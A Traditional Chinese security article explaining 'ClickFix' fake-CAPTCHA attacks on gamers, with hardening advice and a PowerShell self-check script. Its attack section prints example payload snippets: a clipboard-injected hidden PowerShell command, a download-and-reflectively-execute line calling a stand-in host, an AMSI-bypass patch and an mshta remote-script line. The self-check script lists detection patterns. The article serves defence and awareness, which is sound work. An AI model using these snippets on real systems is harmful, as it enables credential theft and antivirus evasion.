引言:遊戲圈「ClickFix」新型社交工程攻擊的興起
在現代 PC 遊戲生態中,模組分發社群、著色器(Shaders)討論區、破解修補程式下載站以及遊戲閃退修復論壇是惡意攻擊者頻繁活躍的高危地帶。長久以來,針對遊戲玩家的惡意軟體主要依賴直接誘導下載偽裝成修改器、外掛工具或中文化檔案的 .exe 或 .zip 壓縮檔。然而,現代主流瀏覽器(Chrome、Edge、Firefox)與作業系統部署了極為嚴密的防禦機制:SmartScreen 檔案信譽評分、沙盒下載隔離、防釣魚遙測以及強制使用者確認彈跳視窗。
為了徹底繞過瀏覽器的所有安全審查,駭客組織開發出了一種隱蔽性極強的社交工程攻擊手段——ClickFix(亦被稱為「假冒人機驗證」或「剪貼簿貼上執行」攻擊)。ClickFix 不再強迫玩家從網頁下載不可信的執行檔,而是透過偽造的人機驗證介面,誘導玩家主動開啟 Windows 內建的 執行視窗(Win + R) 或 Windows Terminal,直接執行一段高度混淆的惡意 PowerShell 指令碼。
由於該指令是由玩家在本地以自身管理員或一般使用者權限主動調用的系統內建管理工具,整個過程不觸發任何瀏覽器下載行為,下載資料夾中沒有任何檔案落地,從而徹底瓦解了基於檔案的靜態防毒掃描與瀏覽器沙盒機制。本文將全面剖析 ClickFix 在遊戲圈的攻擊鏈條、記憶體無檔案執行機理,並提供針對性的取證排查與系統強化方案。
ClickFix 攻擊鏈條:從誘餌誘導到記憶體常駐
攻擊者的實施鏈條環環相扣,精準利用了玩家急於取得模組或修復遊戲報錯的急切心理:
[1. 玩家造訪受污染的遊戲資源頁(例如:「黑神話悟空卡頓修復檔」、「GTA6 洩漏測試版」、「DLSS 3.5 模組」)]
|
v
[2. 頁面彈出高仿人機驗證浮層:「請確認您不是機器人」(偽造 Cloudflare Turnstile 或 Google reCAPTCHA 樣式)]
|
v
[3. 瀏覽器 DOM 觸發:JavaScript 呼叫 navigator.clipboard.writeText(...) 悄無聲息將惡意指令寫入系統剪貼簿]
|
v
[4. 欺詐性互動引導:「請依序按下鍵盤上的 Win + R,然後按 Ctrl + V 貼上,並按 Enter 確認身分權杖」]
|
v
[5. 玩家在本地執行視窗按 Enter:explorer.exe 喚起 powershell.exe / cmd.exe 執行剪貼簿中的惡意程式碼]
|
v
[6. 混淆 PowerShell 指令碼執行:記憶體修補繞過 AMSI -> 下載二階段承載(Lumma / RedLine / Stealc 竊密木馬)]
|
v
[7. 資料回傳:靜默竊取 Steam 登入憑證、Discord Token、瀏覽器 Cookies 並上傳至駭客 Telegram 機器人或 C2]
第一階段:精準的遊戲誘餌
攻擊者透過 SEO 毒化技術搭建了大量一次性詐騙網站,專門針對熱門遊戲的高頻搜尋關鍵字:
- 「黑神話悟空掉幀修復補丁 dll」
- 「電馭叛客2077 自由幻局全 DLC 解鎖補丁」
- 「特戰英豪 Vanguard 反作弊繞過工具」
- 「Roblox 腳本注入器免費版」
- 「免費領取 Discord Nitro 啟用碼入口」
第二階段:偽裝的人機驗證彈窗
當玩家點擊下載按鈕時,網頁不會開始下載檔案,而是彈出一個遮罩浮層,外觀與官方的 Cloudflare Turnstile、hCaptcha 或 Google reCAPTCHA 毫無二致:
- 彈窗顯示:「Cloudflare 驗證:請確認您是人類操作」。
- 玩家點選核取方塊後,介面故意發出「驗證失敗」提示音或顯示旋轉載入條,隨後彈出一組「修復指引」:
- 在鍵盤上按下 Windows 標誌鍵 + R。
- 按下快速鍵 Ctrl + V。
- 按下 Enter 鍵。
- 另一種變體則偽裝成執行環境缺失提示:「偵測到系統缺失 DirectX 12 核心元件,請複製以下修復腳本至終端機執行以解鎖高速下載。」
第三階段:剪貼簿無感劫持
在玩家閱讀指引的同時,網頁背景的 JavaScript 腳本已靜默執行:
// 惡意網頁利用使用者點擊行為靜默寫入剪貼簿
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);
在現代 Chromium 瀏覽器核心中,只要 navigator.clipboard.writeText() 是在使用者直接互動事件(如點擊偽造的「驗證」按鈕)的回呼中觸發,瀏覽器就會直接允許寫入,不會跳出任何系統級授權警告。玩家誤以為自己只是點選了一個驗證框,卻不知自己的剪貼簿已被填入了武器化的系統級指令。
核心技術解構:惡意 PowerShell 載荷的執行階段
當受害者按下 Win + R 並貼上 Enter 後,系統 explorer.exe 衍生出的 PowerShell 行程通常會依序執行以下四個攻擊階段:
1. 視窗隱藏與執行原則繞過
惡意腳本在進入點透過參數規避視覺察覺與預設限制:
# 典型的 ClickFix 引導指令結構
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."
-ExecutionPolicy Bypass:繞過 Windows 預設禁止執行未簽署 PowerShell 腳本的限制(註:執行原則屬於安全防護輔助機制,僅針對.ps1檔案生效,無法攔截直接透過-Command傳入的程式碼)。-WindowStyle Hidden:在幾十毫秒內瞬間隱藏彈出的命令提示字元黑色視窗,給玩家造成「背景已成功靜默驗證」的假象。
2. 記憶體級修補 AMSI(反惡意軟體掃描介面)
在拉取真正的木馬二進位檔案之前,現代竊密木馬必須先癱瘓 Windows Defender 的 AMSI 機制。AMSI 負責在腳本執行前於記憶體層面動態掃描程式碼行為。
攻擊者針對 amsi.dll 實施記憶體熱修補:
- 腳本取得
amsi.dll中匯出函式AmsiScanBuffer的記憶體起始位址。 - 呼叫原生 Windows API(
VirtualProtect)將該記憶體區域的保護屬性由唯讀改為可讀寫執行(PAGE_EXECUTE_READWRITE)。 - 將
AmsiScanBuffer前幾個組合語言位元組重寫為直接返回錯誤的指令:mov eax, 0x80070057 ; 寫入錯誤代碼 E_INVALIDARG ret - 此後,該 PowerShell 行程內所有後續程式碼提交給 AMSI 掃描時,均會因該函式報錯而預設放行(判定為
AMSI_RESULT_CLEAN),使 Windows Defender 徹底失去對後續行為的感知能力。
3. 二階段載荷的無檔案記憶體注入
AMSI 被致盲後,PowerShell 會透過網路庫拉取真正的攻擊載荷:
# 記憶體級拉取與反射載入執行
$data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
[System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);
載荷透過 .NET 反射機制 [System.Reflection.Assembly]::Load 直接在記憶體中剖析並執行,或利用行程鏤空(Process Hollowing)技術注入到系統合法行程(如 MSBuild.exe、RegSvcs.exe 或 svchost.exe)中執行,在整個感染過程中不向硬碟寫入任何木馬執行檔。
4. 遊戲資產與憑證全面洗劫
最終載荷(通常為 Lumma、Stealc 或 Vidar 等知名竊密木馬)會定向搜尋受害者電腦上的遊戲資產:
- 瀏覽器工作階段憑證:擷取 Chrome、Edge、Brave、Firefox 中的
steamLoginSecure與sessionidCookies。 - Discord 權杖:掃描
%APPDATA%\discord\Local Storage\leveldb提取身分授權 Token。 - 遊戲平台用戶端憑證:搜刮 Epic Games Launcher、Battle.net、Riot Client、EA Desktop 的本機登入憑據。
- 加密貨幣與虛擬庫存:掃描瀏覽器擴充功能中的 Web3 錢包,並搜尋 Steam 交易庫存中高價值飾品資產。
- 資料回傳:將竊取的資料打包為加密壓縮檔,透過 Telegram Bot API 或經過加密的 C2 節點回傳給攻擊者。
ClickFix 威脅矩陣:誘餌類型與技術特徵比對
| 攻擊誘餌形式 | 社交工程話術 | 執行載體 | 核心技術工件 | 取證排查痕跡 |
|---|---|---|---|---|
| 假冒 Turnstile 人機驗證 | 「請完成人機驗證以解鎖模組下載連結」 | Win + R -> powershell.exe -w hidden -enc | AmsiScanBuffer 記憶體修補 + IEX 遠端拉取 | 事件識別碼 4104(指令碼區塊記錄);ConsoleHost_history.txt 留存 Base64 字串 |
| DirectX / 執行階段修復精靈 | 「偵測到缺少 d3dx9_43.dll,請在終端機貼上腳本自動修復」 | 管理員 PowerShell 終端機 | mshta.exe http://.../fix.hta 或直接腳本 | Sysmon 記錄 mshta.exe 異常啟動;對外連線非微軟官方 IP 位址 |
| Discord 測試資格啟用 | 「請在命令列輸入您的專屬封測驗證 Token」 | cmd.exe /c start /b powershell ... | Discord Webhook 回傳腳本 | 系統產生向 discord.com/api/webhooks/... 發送帶附件的 HTTPS POST 請求 |
| 著色器編譯快取解封裝器 | 「貼上此指令以在背景快速解開預編譯 Vulkan 快取」 | 一般 PowerShell 主控台 | 混淆腳本向 %TEMP% 釋放惡意 DLL 並注入 | HKCU\Software\Microsoft\Windows\CurrentVersion\Run 出現異常開機自啟項目 |
系統級深度防禦:強化 Windows 抵禦 ClickFix 攻擊
玩家與系統管理員可透過系統原則有效阻斷 ClickFix 的執行鏈條:
1. 開啟 PowerShell 指令碼區塊記錄(Event ID 4104)
預設情況下,Windows 不會完整記錄互動式命令的具體內容。開啟深度指令碼區塊記錄後,即使經過高度混淆或動態解密的指令碼,其最終在記憶體中執行的原貌也會被記錄在 Windows 事件檢視器中:
- 執行
gpedit.msc開啟本機群組原則編輯器。 - 瀏覽至:
電腦設定->系統管理範本->Windows 元件->Windows PowerShell。 - 將 開啟 PowerShell 指令碼區塊記錄(Turn on PowerShell Script Block Logging)設定為「已啟用」。
2. 設定 PowerShell 受限語言模式(CLM)
受限語言模式(Constrained Language Mode)能夠限制 PowerShell 的進階程式設計功能,禁止其呼叫任意 .NET 反射介面(如 [System.Reflection.Assembly])以及底層 Windows API,直接使 99% 的記憶體載入型木馬失效:
- 在系統環境變數中新增
__PSLockdownPolicy,值設為4。
3. 透過 WDAC 限制 mshta.exe 與老舊指令碼主機
部分攻擊者利用 mshta.exe(HTML 應用程式主機)直接執行遠端 VBScript 或 JScript:
- 若日常無需使用傳統企業軟體,建議透過 Windows Defender 應用程式控制(WDAC)停用或稽核
mshta.exe、wscript.exe和cscript.exe。
PowerShell 緊急應變指令碼:排查 ClickFix 感染痕跡
若懷疑自己曾經誤貼上執行過此類命令,請立即中斷網路連線,並以唯讀方式執行以下 PowerShell 指令碼進行取證自我檢查:
# ClickFix 威脅自我檢查與取證排查指令碼
Write-Host "=== ClickFix 威脅自我檢查與取證排查 ===" -ForegroundColor Cyan
# 1. 審查 PowerShell 主控台歷史記錄
$historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
if (Test-Path $historyPath) {
Write-Host "`n[1] 正在檢查最近執行的 PowerShell 歷史命令..." -ForegroundColor Yellow
$suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
$historyLines = Get-Content -Path $historyPath -Tail 50
foreach ($line in $historyLines) {
foreach ($pattern in $suspiciousPatterns) {
if ($line -match $pattern) {
Write-Host " [警告:發現可疑歷史命令]: $line" -ForegroundColor Red
break
}
}
}
}
# 2. 審查 Windows 執行視窗歷史記錄 (MRU)
Write-Host "`n[2] 正在檢查 Windows 執行視窗 (RunMRU) 登錄機碼..." -ForegroundColor Yellow
$runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
if (Test-Path $runMruPath) {
$mruEntries = Get-ItemProperty -Path $runMruPath
$mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
Write-Host " [高危:執行視窗存在可疑指令]: $($_.Name) = $($_.Value)" -ForegroundColor Red
} else {
Write-Host " [正常項目]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
}
}
}
# 3. 檢查目前使用者自動啟動登錄機碼
Write-Host "`n[3] 正在審查目前使用者自動啟動常駐項目..." -ForegroundColor Yellow
$runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan
感染後的標準化止損與復原協定
若排查確認已有惡意指令在本地執行,應依循以下緊急流程進行處置:
- 立即實體斷網:拔除網路線或中斷 Wi-Fi 連線,切斷惡意軟體向 C2 伺服器上傳竊取憑證的資料傳輸通道。
- 在乾淨裝置上緊急撤銷全部登入工作階段:
- 使用手機或另一台未受污染的電腦登入 Steam:進入 設定 -> 安全性 -> 取消授權所有其他裝置,強制登出已被駭客竊取的
steamLoginSecure工作階段 Cookie。 - 登入 Discord 修改密碼:修改密碼會使原有的所有使用者 Token 立即失效。
- 登入 Google、Epic Games、微軟等核心帳號,點選「從所有裝置登出」並更新密碼。
- 使用手機或另一台未受污染的電腦登入 Steam:進入 設定 -> 安全性 -> 取消授權所有其他裝置,強制登出已被駭客竊取的
- 撤銷 Steam Web API Key:在乾淨裝置上瀏覽
https://steamcommunity.com/dev/apikey。若發現存在未經許可註冊的網域或 API Key,立即點選撤銷。 - 進行離線全盤掃描:使用 Windows Defender 離線版或製作可開機安全隨身碟對全盤開機區與暫存目錄進行深度掃描。
- 建立系統化網路工程安全素養:正規的驗證碼系統(如 Cloudflare 或 Google)完全運作在瀏覽器沙盒內部,任何以「人機驗證」為名要求玩家按下
Win + R或在命令列貼上程式碼的情境,100% 均為惡意釣魚攻擊。持續借助如 365Finds 等專業知識庫提升底層攻防認知,才能從容識別社交工程迷霧,確保個人遊戲資產與隱私資料的長久安全。